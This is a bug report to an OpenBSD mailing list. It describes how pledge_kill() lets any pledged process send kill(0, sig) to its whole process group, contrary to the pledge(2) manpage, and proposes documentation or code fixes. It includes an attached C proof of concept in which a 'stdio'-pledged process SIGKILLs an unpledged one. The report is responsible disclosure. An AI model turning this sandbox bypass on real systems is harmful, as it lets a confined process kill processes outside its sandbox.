pledge(2): kill(0, sig) is permitted under any promise via pid==0 exception, but the manpage lists kill(2) only under "proc"

Stuart Thomas <[email protected]> Wed, 13 May 2026 13:29:59 +0100
Newsgroups gmane.os.openbsd.bugs
Message-ID <CACS-ydMSP-M=ffySeyRCSwdcD3dTvkjGOHr8YjRDqb0HoiZoCA@mail.gmail.com>
Hi,

I noticed an inconsistency between pledge_kill() in sys/kern/kern_pledge.c
and the documented per-category syscall list in pledge(2). Submitting as
an inquiry into whether the code or the manpage should be the source of
truth -- both options have a straightforward fix.

Observation
-----------
sys/kern/kern_pledge.c (current master):

    int
    pledge_kill(struct proc *p, pid_t pid)
    {
        if ((p->p_p->ps_flags & PS_PLEDGE) == 0)
            return 0;
        if (p->p_pledge & PLEDGE_PROC)
            return 0;
        if (pid == 0 || pid == p->p_p->ps_pid)
            return 0;
        return pledge_fail(p, EPERM, PLEDGE_PROC);
    }

The `pid == 0 || pid == p->p_p->ps_pid` branch returns 0 regardless of
which promise the process holds. So kill(2) with pid=0 (BSD pgrp-wide
kill) or pid=self is permitted under every pledge category, not just
"proc".

pledge(2) manpage (verbatim from the running OpenBSD 7.7 system):

    stdio   ... [70+ syscalls listed, no kill(2)]
    proc    Allows the following process relationship operations:
            fork(2), vfork(2), kill(2), getpriority(2), setpriority(2),
            setrlimit(2), setpgid(2), setsid(2)

kill(2) is listed only under "proc". The manpage's introduction to stdio
calls it "actions ... that only occur inside the process". The pid==0
exception that lets a stdio-pledged process signal its process group
(parent shell, sibling pipeline processes) does not appear anywhere in
the manpage.

PoC (OpenBSD 7.7 arm64, run as a uid=0 user with setpgid isolation so
the invoking shell is not in the test pgrp):

    [parent] pid=99933 pgid=64730  testing pledge("stdio")
    [parent] [+] BYPASS CONFIRMED: pledge("stdio")-restricted attacker
             SIGKILL'd an unpledged victim in its pgrp.

Full source in POC_kill_pledged_v3.c (attached). The attacker process
calls pledge("stdio", NULL), then kill(0, SIGKILL), and the unpledged
victim process in the attacker's pgrp is terminated by SIGKILL.

Where this matters
------------------
A stdio-pledged process is, per the documented contract, supposed to
only act on already-open file descriptors and process-internal state.
If such a process compromises (parser bug, etc.), the worst observable
side effect should be its own death. With the pid==0 exception, it can
SIGKILL its parent shell or sibling pipeline stages -- documented
behaviour for "proc"-pledged processes, but not for "stdio".

This is not a privilege escalation. It is a sandbox-degradation /
documentation-implementation mismatch.

Two ways to make behaviour and documentation consistent
-------------------------------------------------------
Either documenting the exception or tightening the check would close
the gap.

A. Documentation patch -- add to the "stdio" section of pledge(2):

    kill(2) is permitted if pid is 0 or the calling process's PID
    (for raise(3) and pgrp-wide self-signalling in shell pipelines).

B. Code patch -- remove the pid==0 universal exception from
pledge_kill(), requiring PLEDGE_PROC for kill(0,...). raise(3) and
abort(3) (pid==self) still work; pgrp-wide kill becomes proc-only.

I have not audited the ports tree to identify programs that rely on
the current behaviour. The pid==self arm is clearly load-bearing
(raise/abort under stdio); the pid==0 arm may be load-bearing for
shell-pipeline patterns and is the discretionary call.

This sits in similar territory to my prior commit to kern_unveil.c
(UNVEIL-01 / #if 0 dead-code path, ok beck@), though narrower: that
was dead code being re-enabled; this is live code diverging from the
documented contract.

Thanks,
Stuart Thomas

-- 
Kind regards,
Stuart
*please note, there is no expectation for you to read/reply to my email
outside your normal working hours. *

*This email is private and confidential and only intended for the
recipients above. Should you have received this email in error, please
notify me, and then securely delete it.*
POC_kill_pledged_v3.c (application/octet-stream, 4.6 KB)
/*
 * POC_kill_pledged_v3.c — clean self-isolating reproducer.
 *
 * Demonstrates: pledge(2) manpage lists kill(2) only under "proc", but the
 * kernel allows kill(0, sig) (pgrp-wide) under ANY pledge category via
 * pledge_kill()'s pid==0 exception. Killing reaches processes outside the
 * pledged process — contradicting the "stdio: only inside the process"
 * documented contract.
 *
 * Architecture (per Gemini's Council guidance):
 *   parent
 *     fork() -> isolation_parent
 *       setpgid(0, 0)         ; new pgrp, isolated from invoking shell
 *       fork() -> victim
 *         pause()             ; unpledged, sleeps until signalled
 *       fork() -> attacker
 *         pledge("stdio", NULL)
 *         kill(0, SIGKILL)    ; pgrp-wide kill from a STDIO-pledged proc
 *       waitpid(victim)       ; check whether victim died from SIGKILL
 *   parent
 *     waitpid(isolation_parent), report outcome
 *
 * The invoking shell is NOT in the isolated pgrp, so SSH/terminal survives.
 *
 * Build (on OpenBSD target):  cc -o poc_kill_v3 POC_kill_pledged_v3.c
 * Run:                         ./poc_kill_v3
 *
 * Optional first argument selects pledge category to test
 * (default stdio):  ./poc_kill_v3 rpath
 *                   ./poc_kill_v3 inet
 *                   ./poc_kill_v3 stdio
 *
 * Exit code: 0 = bypass confirmed (victim killed by signal under pledge),
 *            1 = victim survived (no bypass),
 *            >=2 = setup error.
 */

#include <sys/types.h>
#include <sys/wait.h>
#include <signal.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>

static const char *
sig_name(int s)
{
	switch (s) {
	case SIGKILL: return "SIGKILL";
	case SIGTERM: return "SIGTERM";
	case SIGUSR1: return "SIGUSR1";
	default:      return "SIG?";
	}
}

int
main(int argc, char **argv)
{
	const char *promises = (argc > 1) ? argv[1] : "stdio";

	printf("[parent] pid=%d pgid=%d  testing pledge(\"%s\")\n",
	    getpid(), getpgrp(), promises);

	pid_t iso = fork();
	if (iso < 0) { perror("fork iso"); return 2; }

	if (iso == 0) {
		/* ---- isolation_parent (NOT in the test pgrp) ---- */
		printf("[iso]    pid=%d pgid=%d (observer, stays in invoker pgrp)\n",
		    getpid(), getpgrp());

		pid_t victim = fork();
		if (victim < 0) { perror("fork victim"); _exit(2); }
		if (victim == 0) {
			/* ---- victim (no pledge) ---- new pgrp = our own pid ---- */
			if (setpgid(0, 0) < 0) { perror("victim setpgid"); _exit(2); }
			pause();          /* will be killed by attacker's signal */
			_exit(99);        /* never reached on successful kill */
		}

		/* Wait until victim has had time to call setpgid + pause */
		usleep(200000);

		pid_t attacker = fork();
		if (attacker < 0) { perror("fork atk"); _exit(2); }
		if (attacker == 0) {
			/* ---- attacker (pledged) — join VICTIM's pgrp ---- */
			if (setpgid(0, victim) < 0) {
				perror("attacker setpgid");
				_exit(2);
			}
			if (pledge(promises, NULL) < 0) {
				fprintf(stderr,
				    "[atk]    pledge(\"%s\") failed: %s\n",
				    promises, strerror(errno));
				_exit(3);
			}
			/* try SIGKILL — should be blocked if pledge category
			 * doesn't include proc, but the kill(0) exception lets it through */
			if (kill(0, SIGKILL) < 0) {
				fprintf(stderr,
				    "[atk]    kill(0,SIGKILL) blocked: %s\n",
				    strerror(errno));
				_exit(1);   /* signal was blocked — pledge worked */
			}
			/* kill returned success — our own SIGKILL ends this proc */
			_exit(0);
		}

		/* iso is NOT in the test pgrp (victim's), so it survives.
		 * Wait for victim and attacker to be reaped. */
		int vstat = 0, astat = 0;
		waitpid(victim,   &vstat, 0);
		waitpid(attacker, &astat, 0);

		printf("[iso]    victim:   exited=%d signal=%d (%s)\n",
		    WIFEXITED(vstat) ? WEXITSTATUS(vstat) : -1,
		    WIFSIGNALED(vstat) ? WTERMSIG(vstat) : 0,
		    WIFSIGNALED(vstat) ? sig_name(WTERMSIG(vstat)) : "—");
		printf("[iso]    attacker: exited=%d signal=%d (%s)\n",
		    WIFEXITED(astat) ? WEXITSTATUS(astat) : -1,
		    WIFSIGNALED(astat) ? WTERMSIG(astat) : 0,
		    WIFSIGNALED(astat) ? sig_name(WTERMSIG(astat)) : "—");

		int bypass = WIFSIGNALED(vstat) && WTERMSIG(vstat) == SIGKILL;
		_exit(bypass ? 0 : 1);
	}

	/* ---- parent ---- */
	int rs = 0;
	waitpid(iso, &rs, 0);
	int code = WIFEXITED(rs) ? WEXITSTATUS(rs) : -1;
	if (code == 0) {
		printf("[parent] [+] BYPASS CONFIRMED: pledge(\"%s\")-restricted attacker"
		    " SIGKILL'd an unpledged victim in its pgrp.\n", promises);
	} else if (code == 1) {
		printf("[parent] [-] pledge worked: signal was blocked.\n");
	} else {
		printf("[parent] [?] setup error (code=%d)\n", code);
	}
	return code;
}